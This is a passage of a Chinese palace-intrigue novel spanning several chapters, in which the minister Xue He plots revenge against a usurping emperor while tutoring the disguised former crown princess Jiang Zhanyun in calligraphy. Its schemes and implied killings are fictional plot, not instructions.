也就是他,换了旁人早就称病不参议会,将事捅到天子面前去了。哪有为君者如此孤立臣子,直接罢官削爵都比这般做派好看!要真是罢了他的官职他还求之不得呢!士可杀不可辱,该生气的是他! 她还气,气甚? 那年的薛壑想不明白。 于是也不可能“亡羊补牢”。 于是,往后年年月月,这幅政事堂中的帘幔再未撤去。 他们会在早朝于未央宫前殿相见,会偶尔在宣政殿论政时相见,会在一些宫宴节庆上相见,他自然瞧得见她面容眉目,但记忆中愈发深刻的是隔帘望去的身影。 日复一日,年复一年,他能辨出帘幔后的人长高了,清减了,丰腴了;他也能看清她挽了双螺髻、飞仙髻、高云髻;但他看不见她笑时弯眉如新月还是眸中生星光,也看不见她怒时双颊发白还是胸膛起伏。 他看不见她的一颦一笑,只见得身影时近时远。 …… 薛壑起身盘腿坐在榻上,看帘帐低垂,有女身影缓缓而近。 越来越近。 “殿下!” 他仓皇出声,就要掀帘向她行礼。 然他的手抓在帘帐上还未掀开,便见那人先躬身俯首,向他行礼问安。 他松开帘帐,隔着起伏微摆的罗纱,辨清今夕何夕,辨出来人只是他府中的掌事红缨。 红缨是他母亲的贴身婢子,当年随他来益州一是帮他打理送给储君的一应礼物,二则代母帮衬他、照顾她。 今日这个时辰出现在这,原也是他昨晚回来后,特地交代的。 “老奴敲过门,公子久未应声,眼看早过了您素日起身的时辰,怕您有恙,方才入内。”红缨退开两步垂首避在一旁,考虑他还不曾盥洗,击掌唤人入内伺候。 “我无碍,就是昨日饮酒有些头疼,才起迟了。”薛壑披了件外袍掀帘出来,见红缨手捧一物,面上顿时有了些笑意,“寻到了?” “这物珍贵,老奴一直仔细收着。” 薛壑打开匣盒,见六枚红宝石缠金护甲依旧光芒流转,其中有一枚红宝石用鎏金补了一角,雕出梅花纹络,更添别致。 “公子难不成是要送人?” 薛壑抚摸那枚修补后的护角,一时没有回应。 “那您赶紧先去宗正处将您的名字除了,去了皇家身份。这都快五年了,孝期早过,且正经娶个少夫人回来。千万莫忘记写信给夫人,夫人不知要高兴成这么样……” “姑姑,你说如果别人送你礼物,你不喜欢,你会收着放了十多日才还给人家吗?” “不喜欢就不收,收了十余日才还,那、那除非送礼物的人不在当地,话说回来和尚不在庙还在,总能还到庙里去吧。” “我也这样想。”薛壑的目光在护甲上流连,指腹在宝石上来回摩挲,仿若轻抚那个他明明唾手可得却从未触及、也无法再触及的人,“我其实很早就是这样想的。” 她肯定是喜欢的。 15第015章 这日没有早朝,薛壑原该前往御史台上值,但他确实有些不适,头脑胀疼。于是让人递话御史中丞,让其今日代掌,自己歇在府内。 倒也并非醉酒之故,实乃连着两晚不曾睡好。 两回梦中他都梦见江瞻云,心中激动又酸涩,醒来却再难入眠。如此精神不济,前头那些胸闷心悸又被牵扯出来,喉间腥痒欲咳,后背已经隐隐渗出冷汗。 薛壑在书房服下一颗丸药,缓了会,用雪鹄传了封信,又唤来唐飞交代一番,然后回去内寝补觉。 醒来正值午膳时分,他精神好了些。红缨给他备了益州的黄牛肉,炖得软烂,制成肉糜铺在粥里,让他有了些食欲。 他持羹匙搅着粥糜,盯着那把勺子看了许久,直待红缨唤他方回神将粥用了。 “公子可别忘了给夫人写信。”红缨传人给他漱口净手,还不忘叮嘱道。 薛壑愣了下,想起她晌午的话,笑道,“放心,阿母不会急的。” 从熙昌三年他在郊外得到那份藏头诗,决定走这条路后,头一个告知的便是他的母亲。 那年,她本是想来长安随儿子定居的。丈夫已逝,女儿已有家室,她想陪着儿子。但闻他计划后,毅然留在益州养老,未踏进长安一步。 “阿母在你身边,多来累你分心。在益州,若你事败,许还能收你尸骸归故里。” 他的事,往后余生,就剩了一桩。 给江瞻云报仇,恢复江氏天下。 * “这件事上其实我始终没有想明白,你就算扶了我薛氏女上位,又能改变什么呢?她听你命杀了明烨,可是明烨膝下如今已经有子嗣,即便去岁长子夭折了,但还有一子一女。他定然也不会让薛氏女诞下血脉,如此一来继位的还是他的子嗣!” 午后书房空荡,门窗开敞,阳光通透,朗朗白日之下薛允的这些话不该宣之于口。但也因为门户洞开,反而无人会觉得御史大夫叔侄在密谋什么大逆不道的事。外围院门外的侍卫如常驻守,按时换岗。 薛允是第二个知晓此事的人,薛壑虽贵为如今的薛氏家主,然这般大的事一个人难以完成,自然绕不过父辈之中唯一在世的小叔父。 薛氏在京任职的子弟一共有二十三位,其中入职尚书台的三位尚书郎和分布在羽林和虎贲中的两位校尉皆是他嫡亲堂兄弟,原就觉得遗诏蹊跷,并不同意明烨继位,实乃薛壑开口方才顺应。后来知晓内情,任职校尉的薛七郎和薛八郎当下就提议举兵而起。 然而细想,举兵,师出何名? 于天下人眼中,明烨改了江姓,乃奉先帝遗诏继位,名正言顺。除非宣宏皇太女死而复生,要其将权力归还,而他不应,或是查出他夺权的铁证,如此方算师出有名。 否则举兵,薛氏便是乱臣贼子。 这日薛允过来,原是看见了雪鹄的踪迹,知晓薛壑在召唤当年赠予承华帝的那批精锐,当是要实施下一步计划。 只是,计划从熙昌三年至今将近两年,他和其他几个侄子越发悟不透薛壑的路数,尤觉无效,方有此一问。 最主要的是明烨如今改姓了“江”,那么他的子嗣自然也冠“江”姓,他日国祚流传,便还是江氏天下。 说到底,枉死的只是个人,如江瞻云。 “十三郎,你且与我说说。你到底是为报私仇还是为公义。” “堂兄他们又去扰叔父了?” 薛允从窗前走回席案,叹声道,“你莫怪他们多问,他们不比我孑然一身,都拖家带口。若说为了大魏,随时可抛头颅洒热血。但若只是为了个人仇怨,你这样将他们拖下水,你父亲、整个薛氏都不会容你。” “你四堂兄让我给你带一句话。”薛允顿了顿道,“你要给你妻子报仇他们不拦,但若因此而动乱社稷,他们也不会从你。换言之,这天下只要还姓江,个人生死微不足道,哪怕是曾经的储君。” “我听懂了。”薛壑深吸了口气,“之前不说,是怕漏了风声。但如今,还用我说吗?叔父,您想想近来的朝政,明烨可是司马昭之心已露!” 近来的朝政—— 薛允正回想中,外头侍卫来禀,道是御史中丞求见。 薛壑颔首,“让他进来。” “何事劳你过来,不能等明日我上值?”薛壑瞧御史中丞神色匆匆,额生细汗。 “大人快看看这个。”御史中丞以袖拭汗,将一份卷宗呈上。 薛壑摊开阅过,片刻合卷推在一旁,笑道,“陛下请了位好帮手。” “到底何事?”薛允问道。 “还是去岁年末那桩,陛下要迎武安侯夫人入长乐宫,尊奉她为皇太后一事。”御史中丞朝薛允拱了拱手,“后来不是被我们御史台谏言,尚书台亦未曾审核通过嘛!如今陛下请了幽州处的鲁鸣出山,让他写了一封孝母文造势。这鲁鸣文辞极佳,笔落如刀,文章已经传了大半州镇,反响极大。幽州刺史与在下故交,私下命人连夜传来消息,让我们御史台早做准备,已平此势。” “岂有此理,陛下早已入先帝膝下,上了宗正处,乃天家江氏后人,莫说与武安侯夫人无甚关系,纵是同武安侯也再无关联!”薛允拍案而起,“这等文章出来罪同谋逆,就该及时按下,写文之人就地处死,如何还能四处传及?” “话是这般说。但是卫尉大人细想,幽州之地本在极东北处,远离长安而临番邦,民众缺少教化,原是最近十来年才勉强得到一些田地,吃上口粮食。如今么自然谁施恩便从谁。” “那这十来年的恩德超过半数也是江……”薛允突然顿住口,有些反应过来道,“你的意思是,他们得到了格外的恩赐?此次事件乃有人先以天子之名越过长安政权加恩民众,然后再让鲁鸣写文,如此势如潮起?” 东北道上一共四州,幽州起这样的声势,作为天子后盾的青州一定会回应附和。而剩下并、徐两州虽不可能直接应和,但也未必会反对,若能作观望状已是最好的状态了。因为这里涉及到一个鲁鸣,其人乃温松门生,是承华廿二年抱素楼新政择取出来的榜首。但后来因受贿被贬官至幽州渔阳郡,这些年有悔过之心,政绩亦不错,但却始终不得提拔未能回京,想来多有怨言,便恰好为明烨所用了。 边地百姓少教化,得恩便是天。 而得了教化能多想的官员,此间便会想的多些。 譬如鲁鸣此举是否是尚书令温松之意,毕竟温松当年是扶持新帝的辅政大臣之一;那若是温尚书授意的,是否薛御史也同意了。毕竟温、薛两家乃百年世交,从来同进同出。若薛御史反对,其人掌着御史台,岂会容这等文章流传这样久? 好一招阳谋,竟将温、薛两族无形中都套了进去。 “要不我们请温尚书手书一封给鲁鸣。”御史中丞提议道,“或者直接著反对意见的文章回击,落以尚书之名。” “不成,温尚书抱恙日久,连尚书台都一月方去一次,不能再惊扰他。”薛允望向薛壑,“你怎么看?要不让温颐行此事,他自宣宏皇太女故去,消沉得够久了,正好趁这个时机出来,温门也需要他。” “他处,我已经劝过,多说无异。”薛壑面目从容,对御史中丞道“天子欲尊武安侯夫人为皇太后一事,即便幽州刺史不及时传来消息,我也打算寻你了,御史台不必再谏,陛下既有孝心,就随了他。” 这话一出,薛允和御史中丞都震惊万分,然薛壑并未多言,只让御史中丞先行退下。 “你到底何意?我前些年便说,‘灭火复水’这样大的事,得支会温门一声,兵甲武力有我们,学子造势得由他们来,有他们助力我们也不至于孤立无援。你看看如今局面,温门能掌事的一老一少,不是病弱就是颓废!” 薛允明显有些生气,新帝走了这样一步棋,老辣又精准,逼得薛壑不能不退。 “叔父,你想到了吗?”薛壑却始终平静,仿佛退的这一步很快就能重新迈进。 薛允蹙眉看他,见侄子挑眉笑起,方想起前头话题。 须臾恍然,这便是明烨的“司马昭之心”。 ——今日要奉武安侯夫人为皇太后,那明日岂不是就要追封武安侯为帝?后日便是要改姓了,他自己自然改不得,但他有子,子又有子,子子孙孙,只要留着他的血,只要武安侯夫妇被追封过帝后,便有理由改为“明”姓,届时方是真正的江氏江山被篡夺。 “那你还让步?”薛允理清此间关窍,不由后背发凉,“我还真没看出来,小皇帝如此能耐!能一招直接拢住京畿和边地的高官,这瞧着不太像他的手笔。” “我也难以置信,可是他都坐到那张龙椅上去了。”薛壑不禁自嘲,“且先退一步,逼得太紧,容易狗急跳墙。” 最后的话落下,他莫名想起北阙甲第府邸中的那个女子,短短两日,她的聪敏和对时局的分析精准地让他诧异。 “不就是薛九娘入京了!娶我薛氏女为后是一早就定下的事,不至于让他掀翻棋盘,你还做甚了,需要退这样一步?” 薛壑坐在席案前,手上不知从何处染了灰,正在拂开擦拭。一点尘埃,他低头擦了半晌,低声道,“他在我府中插了颗棋子,前日被我杀了。” “前日半夜执金吾处闹出的动静,原来是你这事。一颗棋子罢了,不足以……”薛允话说一半,顿住看向青年,他手上的那点灰渍早就拭净了,但还是两手翻覆地来回看。 薛允压低了声响,嗓音有些发颤,“除夕宴大皇子溺水……是你的手笔?” 薛壑抬眸,嘴角噙了一抹虚无的笑,“明烨节俭,除了中秋、除夕等节宴寻常甚少开宫宴。归根结底却也不是节俭之故,实乃恐宫中人手不干净,他尚未完全掌握。但不日太后入主长乐宫,乃陛下之盛事,宫中自会设宴。叔父,你说……两位小殿下爱吃些甚?” 这日是个晴天,但到底在二月里,阳光并不明烈,风起云来,光线就黯淡了。 薛允瞧着笑意难入眼底的侄子,胸口忽就堵住了一般,五味杂陈。 益州天空下的苍鹰,收羽拢翅,成了一把困在长安城中搅动风云的剑,血污浸身。 16第016章 “我们的人手当年从益州过来编入禁军中,本就未过明路,世间知晓的除了侯爷和大人,便只有先帝和宣宏皇太女。只是新帝上位后,羽林和虎贲两处都不再受重用,根本到不了御前。警卫御前的是太尉杨羽所领的青州军,守卫密不透风。还有就是前岁上林苑秋狝,梁婕妤被人熊所伤,陛下以羽林卫护守不当赐死了一批人,其中有八位精锐营的人。去岁大皇子溺水,陛下又以同样的理由赐死了随侍的宫人侍卫,其中有十位精锐营的人。” 薛允已经离开,屋内只剩薛壑和精锐营首领洪九。 “人熊伤人……”薛壑口中喃喃。 两次事件里,可判断出明烨之心态,急躁了些。 羽林卫乃历代天子心腹,君主都待之亲厚,除非谋逆,否则不加死罪。明烨为让青州军上位,做如此行径,实在操之过急。 如今却又加恩边远州镇,一乃收复民心,二乃利用民心造势,这般一箭双雕的计策……薛壑这会静下心来想,确实不像他一人手笔。 精锐营的人出来一趟不易,薛壑未再多想,对着面前的下属道,“你如今任职何处?” “属下率属虎贲军,在兰林殿外围当值。” 明烨继位翌年,虽未立后,但按惯例后廷纳过妃妾。眼下名分较高的便是诞下皇长子的杨太尉侄女杨昭仪,和另外禁军五校尉之一方尧胞妹方婕妤,方婕妤先后诞下二公主和三皇子;还有一位是就是被人熊所伤的梁婕妤,其族兄亦是五校尉之一。只是人熊事件后,梁婕妤断臂多病,已然失宠。如今剩得杨昭仪和方婕妤二人斗得火热。一个一心想要查出凶手后再诞子嗣,一个想要天子早立储君。 “杨昭仪住在昭阳殿,方婕妤携子在披香殿。”薛壑思忖道,“这两处,我们的人有入殿戍守者吗?” “没有。”洪九摇首道,“我们不仅接触不到御前,经过人熊一事后,连妃子王孙处也近身不得。都只在外宫门戍守,内殿都是青州军。只是两宫内斗,各自插亲卫,陛下恐青州军分裂,近来也提拔了几位原本的禁军。” 有前面两回连坐的恐吓,自然有人愿意投诚。 从来一朝天子一朝臣。 薛壑并未因他们的折节而愤怒,反为明烨这个措施生出几分兴奋。如同他所料,明烨受不了青州军独大,又恐青州军分裂,自会慢慢培养新人。只是这会就开始培植羽翼,实在伤青州军的心。 “既如此,启动‘换血’计划,送我们的人入披香殿。” 益州精锐营的“换血”策已经多年不用,根本目的就是在两者均被怀疑的情况下,一人出来指正另一人,以一死换一生。如今薛壑的意思乃在此意义上的延续,大皇子之死至今没有具体的凶手,只说是失足落水。他便是要让人出来指证凶手,然后让此人立功,往前迈进一步。 “你来,看此处。” 洪九听命上前,看薛壑蘸水在桌案写:受命于青州梁氏,效忠于京兆凌氏。 “明白了吗?” 洪九略一思索,压声悄言。 薛壑颔首,“很好,去准备吧。” 洪九去而又返,“大人,这条计策至少要搭上十余人,甚至还需要如此算来,在宫中蛰伏的就不足二十人了,来日您出入宫廷的安危……” “这不是你要操心的,办好眼前事。” * 洪九走后未几,唐飞将林悦领了过来。 薛壑揉着眉心,垂眸默了一会,“你昨日把卷宗给九娘看,她看得认真吗?” “看得……”林悦踌躇道,“算认真吧。” “什么叫‘算认真’?” 林悦回想昨日场景,重新回道,“属下说女郎认真,是她确实每卷都看了,且有几卷还稍作停顿,口中阵阵词,当是在看细节处。属下犹豫是因为姑娘看得极快,她不识字,虽说学习六艺时会接触些字词,但昨日属下送去的共有十卷卷宗,每卷将近两千余字,那样多的内容,她一刻钟出头就全看完了。所以属下推测,许是姑娘疲懒唬我的,实际不曾细看。” “一刻钟?”薛壑惊了瞬。 他阅卷的速度算快的,这些年在长安熟悉政务后速度又有增加,但要将那十卷宗卷看完,怎么也得两刻钟。何论,她不仅是看完,还精准找出了不合理之处。 一个流落烟花之地、不通文墨的女郎,虽经他派人教养了两年,但这短短两日里,她表现的对局势的分析实在太直戳要害了,如今还能这般识文断字!若是真的聪慧好学便罢了,但若是……后果不堪设想。 “那她午后在书房阅书如何?” “也很快,属下瞧她模样仿若无甚兴致。原也劝过她,说您会查验,让她仔细着看。但女郎说,她有数,无需属下操心。” 薛壑点点头,“她今日在作甚?” “今日晌午她让侍女桑桑开了私库寻护甲,后来就一直在书房看书,午膳后也去了,属下来时女郎回内寝午歇了。” * 江瞻云委实睡着了,桑桑将她唤醒告知薛壑过来时,她狠翻了一个白眼。 说什么还要教导她文武,有没有点师父教授的模样? 即是教学就该合理安排作息,劳逸结合。她都回来两天了,他连份像样的课业时辰表也不曾做出来,反倒是回回神出鬼没,扰人清梦! 再者,今日不该他在值吗?还是如今掌了御史台,就随便自个说话了,想出府衙就出府衙,想休沐就休沐,不成体统! 江瞻云坐在妆台前理妆,案上摆了一册书卷,待桑桑给她往面上敷好胭脂后,她便趴下枕上了书卷,抖落下脂粉,想了想又留了些口水在上头。 “将胭脂重新补了。”她若无其实地卷好书卷。 桑桑目瞪口呆地领命。 * “九娘见过阿兄。”江瞻云踏入书房,向薛壑行礼问安。 薛壑坐在书案旁,面上没什么表情,“今日正好有空,过来安排一下你接下来的课程。闻你在休息,歇好了吗?” “嗯。”江瞻云有些局促地点头。 “坐。” “谢……阿兄。”江瞻云盯着薛壑面前的书案,抬步转来席案后,不知怎么脚下一滑,差点跌点,亏得桑桑扶得快。 “我瞧你怎么没有前两日机灵?二月里气候乍暖回寒,可是染恙了?” 江瞻云咬唇摇了摇头,“是九娘举步不端,九娘自省。” “我闻林悦说,昨日让你提前温习的两卷书,你看都看完了,那你说说都讲了哪些大致内容?”薛壑翻过案上书简,“我让人放了两卷书在这的,怎就剩一卷了?” “我……”江瞻云瞥向桑桑,那一卷讲隶书的书简正在她手中,“我方才不在歇晌,在温书。” “你不是都看完了,如何还在温书,这样认真?”薛壑起身,过来从桑桑手中接过翻看,几眼扫过,眸光沉下来,“你就这样看书?” 薛壑拎着书简外沿,“哗”得一声散落开来。 江瞻云似被吓倒,往后躲仰,抬袖拂尘,吸了下鼻子作惊状,神情惶惶转过头来,眉眼压得极低,垂首不敢言语。 “书乃圣洁之物,你就是这等态度?”薛壑屏息避过扬起的脂粉,目光所及一片未干的水渍,眼中难掩嫌恶。 “阿兄恕罪,我不是故意趴在书卷上睡着的,实在、实在字太多了,密密麻麻,我眼都花了,不知怎么就睡着了。关键它也不似话本还能读一读,不认识的联系上下内容猜一下。” “你不认识字?昨个怎么将那十份卷宗全看完了,还能准确指出不合理的地方?那十份卷宗加起来的字要比这多多了。” 江瞻云垂着头,呼吸渐渐变重。 “好好说话,否则下月的药就没了。” “我说,阿兄,我说!”江瞻云抬起头,幽怨道,“昨日那些卷宗,一刻钟肯定看不完的,但怎么也可以看完一卷吧。我确实看不懂,但翻了三四卷,就发现规律了。每份卷都是一样的,一共三个部分,开始是人名,后面写着年龄,家住何处;第二写他们过去作甚,现在作甚;第三写他们擅长甚,成果如何……我识字不多,但名字和数字,还有一些银钱数量我总是能看出来的。坊中每月都会给恩客按他们花的银子排名,根据他们的喜好记录成册,没咱们这个精细,但也基本差不多……” “别东拉西扯。”薛壑没耳朵听,江瞻云一个储君,怎么会跑那等地去的,四海之内上供给她的奇珍异宝,包括那样大的一座上林苑,还不够她享乐的?他是真想不明白! “没有东拉西扯,阿兄听我细言。找出李荣就是同恩客排名一样的法子,卷宗上不是标着他月俸吗,他一个守卫总领领的银钱还不如厨子、绣娘他们多,就好比恩客掷了百金,却不让花魁姐姐去伺候,反让毁了容的奴去伺候,这合理吗?” “为人不必妄自菲薄……”薛壑这话一出,又觉别扭,只肃正了容色等她下文。 “我就是这样择出来的,但对时局的分析我是真的有思考的。以往在坊中,就是要审时度势……” 一点施压便三句话不离教坊。 薛壑晲过她回来书案前,小聪明有,大智慧不多,落英的身份在择她时便已经查验清楚,是他多虑了。 “我知道不可以提坊中事,这不为了说清楚嘛!”江瞻云及时补充。 确实擅于察言观色,薛壑的眼神柔和了些。 “至于昨日午后,是我扯谎,我压根就没看书。前夜折腾一夜太累了,原是敷衍林悦她们的。而且我闻阿兄每月逢三逢四才会休沐,就心中盘算这才十六七,待廿三时,还有六七日,有的是时间慢慢看。今日择了一卷回内寝,不成想趴在上头睡着了。谁成想,您来得突然……” 薛壑从这处回去案前,江瞻云便知他信了自己,最后一席话出口,闻他一声冷哼,今日便算将前两日的漏洞补全过关了。 果然薛壑未再言语,只说这日来教导她写字,学习隶书的写法。 “其实文武之上你不必精通,只需略懂。学习隶书,是因为当下流行此字体,陛下也喜欢,但凡论起不作哑巴便可。” “书写首先纠坐姿,有四点:头正、肩平、身直、臂开。”薛壑在对面示范。 他幼承庭训,本就举止有度,坐松立钟,姿仪极好。这示范和前头随意坐着并无半点区别。 江瞻云瞧在眼中,低声道,“阿兄姿态好,九娘瞧不出区别。” “你也要如此,形成习惯。”薛壑看着对面努力坐正的人,起身来到她身侧,“‘身直’是最易犯的错误,你过度挺直背部反而显得造作。”薛壑抬手纠正她背部曲线,手在触到她腰线的一瞬缩了回来,只继续道,“放松,避免强制垂直。你一旦挺直过度,就会导致颈椎前倾。”说着又想将她脖颈退回来,然细白肌肤入眼,又让他顿住了手。“颈椎前倾,身姿便不好看了,而且易累。” “不要这般直挺挺的,你放松,肩膀放下来。” “我是说放松,肩膀别撑,不是指塌下来。”薛壑拎了一把她肩头布帛,“你先如常坐端正,再看一遍我的样子。” 薛壑恨手头没有个顺手的器物纠正她,拂袖回来案前,摆出姿态与她看。于是对面女郎便伸着端正起身子。 “脖颈别前倾——”薛壑深吸了口气,到底哪个说她聪慧的! “阿兄,老师们都是很有耐心的,你不能让我一口吃成个胖子啊。”江瞻云看薛壑一副气急败坏的样子,忍着笑道,“你更不能用你已经成为习惯的标准来要求九娘,又不是人人如您般出身大族,小小年纪开蒙得道,九娘初次接触,多练就是了。” 薛壑阖了阖眼,只觉胸口那阵闷堵又涌上来,腹中隐隐作痛一时间头晕眼花,缓了几息方道,“你说的对,是我不好。接下来我将握笔姿态也一并教你,你一同练习。” 江瞻云简直要笑出声,心道,“坐姿还没领悟,你又教握笔姿态,也不怕人搞混。果然术业有专攻,这人就不是当老师的料。好人都能被你教废!这教法,第一个受折磨的便是你自个。” 她想起当年初为储君时,父皇也是一股脑给她安排了无数老师,一日六个时辰的教学,没到一个月,就将她累得大病一场。病好后回想前头所学,基本无甚学成,老师们还个个捶胸顿足。后来是温松给她改了教学方式,如此事半功倍。 果然这日年纪轻轻的御史大夫最后也差点背过气去,最后留了些课业,匆匆走了。 江瞻云目送人远去,方觉有些不对劲,不至于这就脸色煞白,怎么连汗都出来了。 “他是不是病了?”江瞻云嘟囔着,回来书房捡笔端坐,风姿雅正。 “婢子瞧着有点像,许是殿下装得太过。” 江瞻云看了她一会,丢开笔墨,揉了揉发酸的脖颈,她才累呢! 装不会比装会还累! “殿下!”四下无人,桑桑还是压着声响道,“其实婢子一直不懂,为何您要在薛大人面前掩藏身份呢?他留着您的铃铛是对您的情意,为您的事奔波是对大魏的忠义,您为何不愿与他坦诚相见,要套这一层皮套?” 天色已经暗下来,江瞻云慢慢敛了笑意,看外头晦暗不明的天际,“你能有这样的思考,有些长进了。” 17第017章 薛壑这日离开后,急召了医官,因为胸闷难以喘息,喉间腥痒只觉有物堵着,咳之肺腑疼痛,欲咽下又无济于事。医官道是仍为旧疾,隐隐已成血淤之症,若能咳出倒好,这会咳不出且用些活血散瘀的药试试。终究是不能治,只能养。劝他少费神,多歇息。 好在薛壑底子好,就那一阵不舒服,用药歇了一觉后便也无事了。 廿三休沐,他再来向煦台。 这日他带来一把戒尺,搁在席案上。 又不是学了要去参加新政做官,至于这样严吗?不是自个说的不必过于精通!要是真敢打,待孤回了未央宫,定然连本带利讨回来…… 江瞻云坐在书案前,眼光瞄着那把戒尺,慢里斯条地摩挲掌心,直到薛壑看过来,方顺手将手上护甲规矩地摘下来,做出一副要书写隶书时的姿态。 “头正、肩平、身直、臂开。”她口中振振有词,一副牢记模样,将护甲搁在书案一角,距离薛壑稍近处。 薛壑目光划过,想起自己房中的那副红宝石护甲。 她说她从不戴护甲,也不喜欢护甲。 锦衣华袍,宝冠珠翠,臂钏手镯,甚至还有足链,她私下里没少穿戴,也不是节俭素简的性子,怎就这处不喜欢了? 是何缘故呢? 他想问一问。 但已经无从问起。 “以后入书房前,就将护甲摘下。这般放在书案上,既占位置,又有跌落的风险。”薛壑这会又觉护甲碍眼,若是江瞻云,绝不会将首饰同书卷放在一起。 “记住了?”自这人入京,薛壑频繁想起江瞻云,一个瞬间莫名恼怒,开口带着厉色。 非要挑刺是吧!对待基础差的学生,当以鼓励为主。 护甲也是你布置的任务,十七那日时还未收拾妥当,这日特意带来给你看,告知你我放心上了,态度是端正的。 给你表扬的机会都捡不到,五年了还是这般讨人厌! 江瞻云被他一惊,不由腹诽,低声道了声“记下了”,扭头命桑桑收起来。 薛壑与她对面而坐,一人一席。 “坐好。”薛壑意识到自己失态,缓和了声色。 江瞻云挺了挺背脊,重新摆正姿态,“阿兄看看。” “你过来。”薛壑扫她一眼,吩咐道,“拿起戒尺,贴近我腰身,以戒尺一端垂直地面,观察戒尺和我背脊线的差异。” 江瞻云拿着尺子垂直于地,故意距离他稍远,闻他强调“贴近”二字,方略一思索靠近他,摆出了正确的样子。 “对,就是这样。”薛壑肩背如山,垂着眼睑道,“看清楚没有?说说有何区别。” 原来戒尺是做这个用处的。 其实纠正人坐姿,更直接有效的法子乃执教者伸手给学生捋背、压肩拨正。师者授业,这等接触原也没什么。 大约是念着他们既存男女之别,年岁又所差无几。 江瞻云跪坐在他身后侧,看青年,青丝束冠,肩宽腰窄,手修如竹,他还是没有熏香的习惯,周身只一股股淡淡的皂角清新之气,在长扬宫的衣香鬓影中格格不入…… “还没观察好?” “好了!”江瞻云回神,“九娘瞧着,此刻阿兄的背脊线同戒尺相比,稍显弧度,并非僵硬直挺。” “很好,你继续观察。”薛壑话落,完全挺直了背脊,“现在呢?” “现在特别直,同戒尺一般无二。” “把尺留下,回去座上。” 江瞻云跽坐在案,一抬头见对面直挺挺撑着头的人,脖颈青筋毕露,喉结都突出了些,忍不住笑出声来。 “难看吧。”薛壑松下姿态,“这就是完全挺直的样子,刻意又不好看,落人眼里只有模拟之状,无半点以年月教养、深入骨髓的仪态。似天降金子暴富的显摆,却不是世代簪缨的从容。” 若是在明光殿,江瞻云定叫他再做一遍方才的样子让她笑一会。这会她也懒得再戏弄他,点头记下后,又练习了两回,故意出了一回错,便赶紧摆出正确的坐姿以示掌握。 于是,薛壑开始查验下一处握笔姿态。 “隶书采用五指执笔法,拇指紧贴笔杆,食指外压,中指钩住笔杆外侧,无名指指甲抵推,小指则起稳定的作用,如此五指形成“指实掌虚”的握笔状态。”江瞻云拿起案上的笔,边说边摆出姿势。 以防握得太标准,她往上挪了一寸,又将食指的第二节关节外压,顺带翘起小拇指。 “背得倒是不错,可见下了功夫。” “当然了,而且那些字我都认全了。”江瞻云接话的间隙,又用左手去推笔,防止笔从手中话落。 “握得不舒服?”薛壑笑道,“有两处错误,首先你整体握得太上,持笔位置距离笔尖一寸半就够了。” 江瞻云听话往下挪去。 “另外是手指的问题,小拇指既然是作稳定作用的,便不可能似兰花状翘起,当是蜷缩于内,以外侧抵笔。还有……”薛壑尤觉别扭,起身来到她处细看,果然瞧出另一错处,“食指应该在第一关节处外压,你这在第二关节,所以握不住了。” 江瞻云按他所说,一一纠正,握笔与他看,“这样?” 薛壑点点头。 “隶书有三大特点:自行方扁,左右舒展;蚕头燕尾,一波三折;变圆为方,边连为断。要完成这些,最主要的一点,是书写时腕力的运用。”薛壑说着,让江瞻云来他身侧,看他书写。 “‘横’这笔顺,横向运腕是关键。以腕部为轴心,进行左右摆动,同时配合肘部轻微平移。”说话间,竹简上已经出现一笔长横。 这横还不错,舒展流畅,但对比自己,还差了些。力道足但力度转换不够自然。不对,转换不够自然,乃气息运转的问题,本质还是力道不足。用的是蛮力,而非巧劲。 江瞻云原本只是在心中点评笔画,至此不由偷偷看了薛壑一眼,他的脸色其实一直不似平常人那般自然,不是过于苍白,便是泛出蜡黄色。这会细看,依旧没有血色。 “想甚,去写。”薛壑催促道。 江瞻云点点头,按照他说的回来自己案上试着落笔。她想了想,用力一笔拖出,搁笔抬眼看他。 “你这坐姿、握姿都对了,也知晓落笔要用力,但明显运腕不够,重练一回,我让你感受清楚。”薛壑转来她身后,伸手就要握上她手腕。顿了顿,拉下她袖沿,隔布帛握她手腕,“对,就这样,以腕为轴,左右摆动。先用力,然后提笔卸力,收尾再用力。” 午后阳光很好,从窗牖倾洒进来,江瞻云的目光从那只隔物握在她腕间的手上,挪移到地上。 地上,两幅影子重叠了一半。 她和薛壑相识的五年里,还没有过这样的场景,也不曾这样安静地细数他的呼吸,听见他的心跳。 只是这会,他离得有些远,她感受不清楚。 他并没有完全站在她身后,因为右侧是临窗的位置,他站在了她左手边。所幸手臂足够长,从后头绕过抓上她手腕,如此即便她不小心后仰,抬首,凡能触及处,只有他的一条臂膀,或是一片在右侧随笔动时微摆的广袖。 一点风过,袖角掀起涟漪。 “再练一遍。” 他抓得很牢,力道从指尖贯入她腕部。他盼着她早些掌握,还有好多事要做,要谋划,要处理。 从未有人敢这般抓握她的手,怀着这满腔迫切,恨不得将他所有倾囊相授。江瞻云腕间受力,隔布帛感受他掌心的粗粝和温暖,直击她心扉,是振奋,是同行。她由着他握腕指引,提力松劲。如漂浮于汪洋中的一叶扁舟,这几年失势后于至暗处不见天日地游走,她绷着神经没日没夜地掌舵,今朝终于来了一个人,可以替她执掌片刻,容她喘息,得片刻放松。于是微微后仰,枕上他臂膀,却觉不够,便往左挪过些,那处有他胸膛和怀抱。 江瞻云阖上了眼睛,心中遐想,这人到底是天生冷心冷清,还是不知风月。凡有接触,贺茗会脸红身烫,卢瑛会喘息不止,齐尚温颐会心跳如擂鼓、垂眼不敢看她…… 他呢,怎就心不跳气不喘的? 这样想着,她转过头看他。 四目相对的一瞬,江瞻云睁开的双眼瞬间重新闭起。 她是套着薛九娘皮具的落英,不是东宫储君江瞻云。 薛九娘,不,落英,怎么敢这般靠入他怀里的?还是从臂膀一路枕到他胸膛? “你要是实在改不掉教坊里的那副作态,我这会了结了你,也免得来日入宫左右落个死,还要连累我。”心不跳气不喘的人面如修罗,话落如刀。 “不不……”江瞻云膝行转过身来,拉住他袍摆,垂首编话,“奴家只是想起殿下,殿下以往来坊中,也教过我们几个写字,奴不擅此道,便不曾多学,但奴家记得也被殿下这样握过,所以一时失神……” 女郎偷偷抬了眼,见薛壑铁青的脸色稍显松动,但鹰隼般的双眼依旧锐利,赶紧怯怯垂下,“自然,自然也有旁的缘故。若只是心念殿下奴不该有此举措,乃奴、奴见大人风姿,心生荡漾。奴下九流卑贱之人,萤烛之光不该肖想天上月,但是男欢女爱乃人之常情,大人文韬武略,奴动心也无甚错。” “巧言令色!”薛壑自然不吃她这套阿谀谄媚的话。 